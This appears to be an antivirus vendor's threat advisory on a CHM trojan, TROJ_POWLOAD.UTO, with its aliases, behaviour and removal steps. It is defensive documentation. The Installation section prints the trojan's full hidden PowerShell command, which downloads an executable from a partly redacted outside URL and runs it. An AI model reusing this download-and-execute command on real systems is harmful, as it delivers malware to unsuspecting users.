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TROJ_POWLOAD.UTO

February 06, 2018
 Analysis by: Rheniel Rhay Ramos
 ALIASES:

Exploit.CHM-Downloader.Gen (Bitdefender); Generic Exploit.f (McAfee); Exploit:Win32/Trupto.A (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system. It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

11,277 bytes

File Type:

CHM

Memory Resident:

No

Initial Samples Received Date:

19 Jan 2018

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('https://{BLOCKED}rm.com/ebusiness/ne.abc','%User Temp%\chmplg.exe');Start-Process %User Temp%\chmplg.exe

Download Routine

This Trojan downloads files from the following URLs then renames them before storage in the affected system:

  • https://{BLOCKED}rm.com/ebusiness/ne.abc

It saves the files it downloads using the following names:

  • %User Temp%\chmplg.exe

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.942.03

FIRST VSAPI PATTERN DATE:

19 Jan 2018

VSAPI OPR PATTERN File:

13.943.00

VSAPI OPR PATTERN Date:

20 Jan 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Temp%\chmplg.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as TROJ_POWLOAD.UTO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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